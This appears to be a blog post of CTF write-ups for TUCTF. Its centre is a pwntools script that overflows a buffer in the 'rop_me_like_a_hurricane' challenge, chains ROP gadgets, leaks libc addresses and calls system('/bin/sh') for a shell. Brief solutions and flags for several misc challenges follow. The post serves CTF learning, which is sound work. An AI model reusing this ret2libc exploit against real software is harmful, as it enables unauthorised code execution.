33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
|
from pwn import *
import sys
if len(sys.argv) == 1 :
p = process('./rop_me_like_a_hurricane')
else :
p = connect('chal.tuctf.com', 31058)
def exploit() :
A = 0x8049256
B = 0x8049288
C = 0x80492A6
printFlag = 0x80492CE
payload = 'A'*0x1C
payload += p32(B)
payload += p32(C)
payload += p32(A)
payload += p32(printFlag)
p.write(payload)
p.interactive()
def exploit2() :
puts_plt = 0x80490F0
puts_got = 0x804C018
printf_got = 0x804C010
pop_ebx_ret = 0x8049022
p.readuntil('> ')
payload = 'A'*0x1C
payload += p32(puts_plt)
payload += p32(pop_ebx_ret)
payload += p32(puts_got)
payload += p32(puts_plt)
payload += p32(pop_ebx_ret)
payload += p32(printf_got)
payload += p32(0x804935E) # pwnme
p.write(payload)
puts_resolved = u32(p.readline()[0:4])
printf_resolved = u32(p.readline()[0:4])
libc_base = puts_resolved-0x67B40
system_resolved = libc_base+0x3D200
str_bin_sh = libc_base+0x17E0CF
print('[Exploit] puts = '+hex(puts_resolved))
print('[Exploit] printf = '+hex(printf_resolved))
print('[Exploit] libc_base = '+hex(libc_base))
print('[Exploit] system = '+hex(system_resolved))
print('[Exploit] str_bin_sh = '+hex(str_bin_sh))
# libc6_2.27-3ubuntu1_i386
payload = 'A'*0x1C
payload += p32(system_resolved)
payload += p32(pop_ebx_ret)
payload += p32(str_bin_sh)
p.write(payload)
p.interactive()
if __name__ == '__main__' :
exploit()
|
After running the exploit code, the program shows the flag and another server.
TUCTF{bu7_c4n_y0u_ROP_bl1ndf0ld3d?}
nc chal.tuctf.com 31111
Mega :: Wholesome Crypto
Connect to chal.tuctf.com:31111 and decode string with BASE64, it will give a jpeg image.
Misc :: Red Yarn
Use strings command
TUCTF{D0NT_F0RG3T_TH3_B4S1CS!}
Misc :: Super Secret
binwalk
TUCTF{ST0P_TRUST1NG_M4CR0S_FR0M_4N_UNKN0WN_S0URC3}
Misc :: Ask and Ye Shall Receive
Search "FlagDeCotour" on Yahoo, and I found this: https://archiveofourown.org/users/OpheliaFlagDeCotour/profile
There is tumblr blog link. https://opheliawritesctfchals.tumblr.com/
Send email to given address(opheliarealiamnot@gmail.com). After a few seconds I could get the flag.
TUCTF{F0LL0W_7H3_D1G174L_CRUM8S}
Misc :: Brain Games
Virus History hint: Duplicated answers are the correct ones.
Morris Worm / Melissa Virus / CIH Virus / ILOVEYOU Worm / Blaster Worm / Sasser Worm / Stuxnet / CryptoLocker / Mirai / WannaCry / Forkbomb / Cascade / Slammer Worm / Conficker / Techno / BonziBUDDY / Solar Sunrise / Navashield / Creeper / Reaper
TUCTF{7H3_M0R3_Y0U_KN0W_G1F}
'CTF > CTF Playground' 카테고리의 다른 글
Rice Tea Cat Panda (0) | 2020.01.22 |
---|---|
Christmas CTF (0) | 2019.12.25 |
Kipod After Free CTF 2019 (0) | 2019.12.22 |
HCTF 2019 Beginner Section (0) | 2019.11.17 |
Newbie CTF 2019 (0) | 2019.11.02 |